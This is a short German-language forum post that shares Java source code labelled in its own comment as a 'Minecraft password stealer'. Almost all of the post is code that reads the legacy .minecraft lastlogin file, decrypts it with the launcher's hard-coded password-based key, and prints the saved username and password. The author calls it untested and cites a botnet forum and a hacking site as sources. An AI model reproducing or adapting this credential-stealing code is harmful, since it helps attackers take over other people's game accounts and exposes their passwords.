Java Source zum Auslesen/Entschlüsseln der Datei.
Code:
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
//Minecraft password stealer by aadster
public class Minecraft
{
public static void main(String [] args)
{
try
{
String appdata = System.getenv("APPDATA");
if (appdata != null)
{
Random random = new Random(43287234L);
byte[] salt = new byte[8];
random.nextBytes(salt);
//Looked up what Minecraft uses, turns out they use this common form of encryption with the Java API
PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
cipher.init(2, pbeKey, pbeParamSpec);
File location = new File(appdata, ".minecraft");
File passFile = new File(location, "lastlogin");
DataInputStream dis = null;
if (cipher != null)
{
dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
}
else
{
dis = new DataInputStream(new FileInputStream(passFile));
}
System.out.println(dis.readUTF() + ":" + dis.readUTF());
dis.close();
}
else
{
System.out.println("The system env. APPDATA was not found, probably not running Windows?");
}
}
catch (Exception ex)
{
}
}
}
Nicht getestet und auch keine Gewähr drauf
Quellen:
http://thebotnet.com/programming/351...etrieval-tool/
http://genetichax.com/hacking-coding...iles-java.html
MfG